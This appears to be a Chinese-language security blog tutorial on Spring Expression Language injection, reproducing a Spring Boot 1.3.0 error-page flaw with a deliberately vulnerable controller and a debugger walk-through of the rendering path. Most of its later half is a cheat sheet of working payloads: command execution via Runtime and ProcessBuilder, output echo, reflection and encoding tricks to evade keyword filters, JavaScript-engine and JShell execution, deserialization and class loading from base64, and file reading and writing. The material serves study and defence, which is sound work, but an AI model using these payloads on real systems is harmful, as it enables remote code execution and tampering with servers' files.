SPEL表达式的学习 SpEL简介 Spring表达式语言(简称 SpEL ,全称Spring Expression Language )是一种功能强大的表达式语言,支持在运行时查询和操作对象图。它语法类似于OGNL,MVEL和JBoss EL,在方法调用和基本的字符串模板提供了极大地便利,也开发减轻了Java代码量。另外 , SpEL是Spring产品组合中表达评估的基础,但它并不直接与Spring绑定,可以独立使用。
基本用法 SpEL调用流程 : 1.新建解析器 2.解析表达式 3.注册变量(可省,在取值之前注册) 4.取值
1. 不注册新变量的用法 1 2 3 ExpressionParser parser = new SpelExpressionParser ();Expression exp = parser.parseExpression("'Hello World'.concat('!')" );System.out.println( exp.getValue() );
2. 自定义注册变量的用法 1 2 3 4 5 6 Spel user = new Spel ();StandardEvaluationContext context=new StandardEvaluationContext (); context.setVariable("user" ,user); SpelExpressionParser parser = new SpelExpressionParser ();Expression expression = parser.parseExpression("#user.name" );System.out.println(expression.getValue(context).toString() );
实战用法 影响版本
1.1.0-1.1.12
1.2.0-1.2.7
1.3.0
我的pom.xml 这是 1.3.0 版本的 Springboot,可以复现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?xml version="1.0" encoding="UTF-8"?> <project xmlns ="http://maven.apache.org/POM/4.0.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion > 4.0.0</modelVersion > <groupId > org.example</groupId > <artifactId > SPEL</artifactId > <version > 1.0-SNAPSHOT</version > <properties > <maven.compiler.source > 8</maven.compiler.source > <maven.compiler.target > 8</maven.compiler.target > </properties > <dependencies > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-maven-plugin</artifactId > <version > 1.3.0.RELEASE</version > </dependency > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-web</artifactId > <version > 1.3.0.RELEASE</version > <scope > compile</scope > </dependency > </dependencies > </project >
由于Tomcat
对GET
请求中的 |{}等特殊字符存在限制(RFC 3986),所以需要使用POST
参数来传递
controller
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package controller;import org.springframework.expression.Expression;import org.springframework.expression.spel.standard.SpelExpressionParser;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestMethod;import org.springframework.web.bind.annotation.ResponseBody;import java.io.IOException;@Controller @RequestMapping("/test") public class TestController { @ResponseBody @RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST}) public String index (String string) throws IOException { SpelExpressionParser spelExpressionParser = new SpelExpressionParser (); Expression expression = spelExpressionParser.parseExpression(string); String out = (String) expression.getValue(); out = out.concat(" get" ); return out; } }
由于getValue中没有传入参数,所以会从默认容器,也就是spring容器:ApplicationContext中获取;如果给定了容器,则会向具体的容器中获取。简单的实验环境就搭起来了,然后试试常用的SpEL语法
‘aaa’,表示字符串aaa
在SPEL语法中,表达式有这些用法
用法一 T(类名) 1 2 T(类名),可以指定使用一个类的类方法 T(java.lang.Runtime).getRuntime().exec("calc" )
这里后端会执行语句,然后由于类型转换问题出现报错,所以没有返回值,springboot抛出空白页和500,但是计算器依然弹出。
用法二 (new 类名) new 类名,可以直接new一个对象,再执行其中的方法
1 string=new java .lang.ProcessBuilder("cmd" ,"/c" ,"calc" ).start()
这里为什么不用Runtime()
呢,因为Runtime()
是单例类,不能直接被new
出来
可见直接new一个对象执行其中的方法,杀伤力极大!需要注意的是,类名最好用全限类名,也就是具体到某个包,不然会因为找不到具体类而报错。
用法三 (#{…}/${…}) 1 2 #{…} 用于执行SpEl表达式,并将内容赋值给属性 ${…} 主要用于加载外部属性文件中的值
两者还可以混合使用,但需要注意的是{}中的内容必须符合SpEL表达式。这里需要换一下SpEL的写法,否则会因为没有使用模板解析表达式,在传入#{后出现报错。
这里更换以下controller
的写法,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package controller;import org.springframework.expression.Expression;import org.springframework.expression.common.TemplateParserContext;import org.springframework.expression.spel.standard.SpelExpressionParser;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestMethod;import org.springframework.web.bind.annotation.ResponseBody;import java.io.IOException;@Controller @RequestMapping("/test") public class TestController { @ResponseBody @RequestMapping(value = "/index",params = "string",method = {RequestMethod.GET, RequestMethod.POST}) public String index (String string) throws IOException { SpelExpressionParser spelExpressionParser = new SpelExpressionParser (); TemplateParserContext templateParserContext = new TemplateParserContext (); Expression expression = spelExpressionParser.parseExpression(string,templateParserContext); Integer out = (Integer) expression.getValue(); return Integer.toString(out); } }
在经过TemplateParserContext
的解析后,以上两种方式被严格限制
效果如下:
IllegalStateException复现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestMethod;import org.springframework.web.bind.annotation.ResponseBody;import java.io.IOException;@Controller public class TestController { @ResponseBody @RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST}) public String index (String string) throws IOException { throw new IllegalStateException (string); } }
然后启动springboot 项目
1 2 3 4 5 6 7 8 9 10 11 package controller;import org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication;@SpringBootApplication public class Application { public static void main (String[] args) { SpringApplication.run(Application.class,args); } }
之后,我们输入${7*7}
,看到其进行一个解析
之后输入payload
:${new java.lang.ProcessBuilder("cmd","/c","calc").start()}
,发现其无法执行命令。
更换payload
为:string=${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}
才可以执行命令。
其中报错调用堆栈如下:
1 2 3 4 5 org.springframework.expression.spel.SpelParseException: EL1069E:(pos 29 ): missing expected character '&' at org.springframework.expression.spel.standard.Tokenizer.process(Tokenizer.java:186 ) ~[spring-expression-4.2 .3 .RELEASE.jar:4.2 .3 .RELEASE] at org.springframework.expression.spel.standard.Tokenizer.<init>(Tokenizer.java:84 ) ~[spring-expression-4.2 .3 .RELEASE.jar:4.2 .3 .RELEASE] at org.springframework.expression.spel.standard.InternalSpelExpressionParser.doParseExpression(InternalSpelExpressionParser.java:121 ) ~[spring-expression-4.2 .3 .RELEASE.jar:4.2 .3 .RELEASE] at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:60 ) ~[spring-expression-4.2 .3 .RELEASE.jar:4.2 .3 .RELEASE]
调试一下,看一下为什么:
此时调用堆栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 doDispatch:959 , DispatcherServlet (org.springframework.web.servlet) doService:893 , DispatcherServlet (org.springframework.web.servlet) processRequest:970 , FrameworkServlet (org.springframework.web.servlet) doPost:872 , FrameworkServlet (org.springframework.web.servlet) service:648 , HttpServlet (javax.servlet.http) service:846 , FrameworkServlet (org.springframework.web.servlet) service:729 , HttpServlet (javax.servlet.http) internalDoFilter:291 , ApplicationFilterChain (org.apache.catalina.core) doFilter:206 , ApplicationFilterChain (org.apache.catalina.core) invoke:720 , ApplicationDispatcher (org.apache.catalina.core) processRequest:468 , ApplicationDispatcher (org.apache.catalina.core) doForward:391 , ApplicationDispatcher (org.apache.catalina.core) forward:318 , ApplicationDispatcher (org.apache.catalina.core) custom:439 , StandardHostValve (org.apache.catalina.core) status:305 , StandardHostValve (org.apache.catalina.core) throwable:399 , StandardHostValve (org.apache.catalina.core) invoke:180 , StandardHostValve (org.apache.catalina.core) invoke:79 , ErrorReportValve (org.apache.catalina.valves) invoke:88 , StandardEngineValve (org.apache.catalina.core) service:518 , CoyoteAdapter (org.apache.catalina.connector) process:1091 , AbstractHttp11Processor (org.apache.coyote.http11) process:673 , AbstractProtocol$AbstractConnectionHandler (org.apache.coyote) doRun:1500 , NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:1456 , NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) runWorker:1149 , ThreadPoolExecutor (java.util.concurrent) run:624 , ThreadPoolExecutor$Worker (java.util.concurrent) run:61 , TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748 , Thread (java.lang)
1 mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
方法中处理了相关的HTTP请求,相关的控制器方法执行和触发的异常都是在这里面执行的
这时,继续往下走,经过manager
处理后,view
试图会是error
类型
到目前modeView对象已经拿到了,该对象中包含了这里HTTP请求处理的处理和相关值,然后将这个作为参数调用processDispatchResult,让该方法来进行渲染
在processDispatchResult方法中就会进行渲染,其中实现渲染的方法名就是render
此时的调用堆栈为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 render:1244 , DispatcherServlet (org.springframework.web.servlet) processDispatchResult:1027 , DispatcherServlet (org.springframework.web.servlet) doDispatch:971 , DispatcherServlet (org.springframework.web.servlet) doService:893 , DispatcherServlet (org.springframework.web.servlet) processRequest:970 , FrameworkServlet (org.springframework.web.servlet) doPost:872 , FrameworkServlet (org.springframework.web.servlet) service:648 , HttpServlet (javax.servlet.http) service:846 , FrameworkServlet (org.springframework.web.servlet) service:729 , HttpServlet (javax.servlet.http) internalDoFilter:291 , ApplicationFilterChain (org.apache.catalina.core) doFilter:206 , ApplicationFilterChain (org.apache.catalina.core) invoke:720 , ApplicationDispatcher (org.apache.catalina.core) processRequest:468 , ApplicationDispatcher (org.apache.catalina.core) doForward:391 , ApplicationDispatcher (org.apache.catalina.core) forward:318 , ApplicationDispatcher (org.apache.catalina.core) custom:439 , StandardHostValve (org.apache.catalina.core) status:305 , StandardHostValve (org.apache.catalina.core) throwable:399 , StandardHostValve (org.apache.catalina.core) invoke:180 , StandardHostValve (org.apache.catalina.core) invoke:79 , ErrorReportValve (org.apache.catalina.valves) invoke:88 , StandardEngineValve (org.apache.catalina.core) service:518 , CoyoteAdapter (org.apache.catalina.connector) process:1091 , AbstractHttp11Processor (org.apache.coyote.http11) process:673 , AbstractProtocol$AbstractConnectionHandler (org.apache.coyote) doRun:1500 , NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:1456 , NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) runWorker:1149 , ThreadPoolExecutor (java.util.concurrent) run:624 , ThreadPoolExecutor$Worker (java.util.concurrent) run:61 , TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748 , Thread (java.lang)
之后模板开始渲染
用的是什么解析器来进行渲染呢?SpELPlaceholderResolver对象
渲染的模板就是默认的Whitelabel Error Page 模板,其中就四个标签有进行相关SpEL表达式的操作的,分别是 ${timestamp} ${error} ${status} ${message}
继续跟进parseStringValue
方法,简单说一下流程
StringBuilder result = new StringBuilder(strVal); 将要渲染的模板存储到一块StringBuilder对象中
接着下面的while循环就是来寻找 this.placeholderPrefix开头并且以this.placeholderSuffix 结尾的字符串,并且将其中的字符串名称取出
这时候就来到了 placeholder = parseStringValue(placeholder, placeholderResolver, visitedPlaceholders); ,它会将 上面取出来的字符串作为placeholder变量进行传输,通过placeholderResolver解析器来进行解析,而且这个方法还是递归的方法,因为上面一开始取出的字符串中还带有${ }
这种,还会递归进行parseStringValue解析,直到不存在${}为止
String propVal = placeholderResolver.resolvePlaceholder(placeholder);,接着就是调用这个方法,这个方法才是真正的主角,因为进行字符串填充的都是通过这个方法。resolvePlaceholder
这个方法跟进去,可以发现会通过SpelExpressionParser对象的parseExpression方法来对传入的字符串进行保存,最后返回一个expression的对象
Object value = expression.getValue(this.context);
接着其中继续通过返回来的expression对象来获取其中的值,根据该值来判断返回对应的对象,这里传入的是timestamp
,通过getValue方法之后返回出来的是一个Date格式的字符串
继续对返回的字符串进行HTML编码处理
1 return HtmlUtils.htmlEscape(value == null ? null : value.toString());
最后进行替换处理,将其解析出来的字符串和对应的${}
进行替换
此时,经过渲染,我们的输入,已经被转义掉了,HTML编码处理了,最后返回的字符串存在&
,为了避免转义,我们只能用16进制。
命令回显
当存在时,使用commons-io组件
1 T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
使用jdk>=9中的JShell,这种方式会受限于jdk的版本问题
1 T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell" ,true ).Methods[6 ].invoke(null ,{}).eval('whatever java code in one statement' ).toString()
原生输出
1 new java .io.BufferedReader(new java .io.InputStreamReader(new ProcessBuilder ("cmd" , "/c" , "whoami" ).start().getInputStream(), "gbk" )).readLine()
经过编码后:
1 2 string=${new java .io.BufferedReader(new java .io.InputStreamReader(new ProcessBuilder (new java .lang.String(new byte []{0x20 ,0x22 ,0x63 ,0x6d ,0x64 ,0x22 ,0x2c ,0x20 ,0x22 ,0x2f ,0x63 ,0x22 ,0x2c ,0x20 ,0x22 ,0x77 ,0x68 ,0x6f ,0x61 ,0x6d ,0x69 ,0x22 })).start().getInputStream())).readLine()}
如图:
Scanner
1 new java .util.Scanner(new java .lang.ProcessBuilder("cmd" , "/c" , "dir" , ".\\" ).start().getInputStream(), "GBK" ).useDelimiter("asfsfsdfsf" ).next()
SPEL变形与tips 原型 1 2 3 4 5 6 T(java.lang.Runtime).getRuntime().exec("calc" ) T(Runtime).getRuntime().exec("calc" ) new java .lang.ProcessBuilder({'calc' }).start()new ProcessBuilder ({'calc' }).start()
反射调用 1 2 3 4 5 6 7 8 9 10 11 T(String).getClass().forName("java.lang.Runtime" ).getRuntime().exec("calc" ) #this .getClass().forName("java.lang.Runtime" ).getRuntime().exec("calc" ) T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" ).getMethod("ex" +"ec" ,T(String[])).invoke(T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" ).getMethod("getRu" +"ntime" ).invoke(T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" )),new String []{"cmd" ,"/C" ,"calc" }) #this .getClass().forName("java.l" +"ang.Ru" +"ntime" ).getMethod("ex" +"ec" ,T(String[])).invoke(T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" ).getMethod("getRu" +"ntime" ).invoke(T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" )),new String []{"cmd" ,"/C" ,"calc" })
绕过 getClass 过滤 1 2 3 4 '' .class.getSuperclass().class.forName('java.lang.Runtime' ).getDeclaredMethods()[14 ].invoke('' .class.getSuperclass().class.forName('java.lang.Runtime' ).getDeclaredMethods()[7 ].invoke(null ),'calc' )
url编码绕过 1 2 3 4 5 6 new java .lang.ProcessBuilder(new java .lang.String(new byte []{99 ,97 ,108 ,99 })).start()T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99 ).concat(T(java.lang.Character).toString(97 )).concat(T(java.lang.Character).toString(108 )).concat(T(java.lang.Character).toString(99 )))
JavaScript引擎 1 2 3 4 T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn" ).eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la" +"ng.Run" +"time.getRu" +"ntime().ex" +"ec(s);" ) T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript" ).eval("xxx" ),)
JavaScript+反射 1 2 T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript" ).eval(T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" ).getMethod("ex" +"ec" ,T(String[])).invoke(T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" ).getMethod("getRu" +"ntime" ).invoke(T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" )),new String []{"cmd" ,"/C" ,"calc" })),)
JavaScript+URL编码 1 2 T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript" ).eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29" )),)
Jshell 1 T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell" ,true ).Methods[6 ].invoke(null ,{}).eval('whatever java code in one statement' ).toString()
其他Tips 绕过T 过滤 1 2 T%00 (new ) 这涉及到SpEL对字符的编码,%00 会被直接替换为空
使用Spring工具类反序列化,绕过new关键字 1 2 T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...' ))
使用Spring工具类执行自定义类的静态代码块 1 T(org.springframework.cglib.core.ReflectUtils).defineClass('Singleton' ,T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADIAtQ....' ),T(org.springframework.util.ClassUtils).getDefaultClassLoader())
需要在自定义类写静态代码块 static{}
读写文件和回显 无版本限制回显 1 2 new java .util.Scanner(new java .lang.ProcessBuilder("cmd" , "/c" , "dir" , ".\\" ).start().getInputStream(), "GBK" ).useDelimiter("asfsfsdfsf" ).next()
nio 读文件 1 2 new String (T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt" ))))
nio 写文件 1 T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt" )), '123464987984949' .getBytes(), T(java.nio.file.StandardOpenOption).WRITE)
参考文章 https://www.cnblogs.com/zpchcbd/p/15536569.html
https://www.cnblogs.com/bitterz/p/15206255.html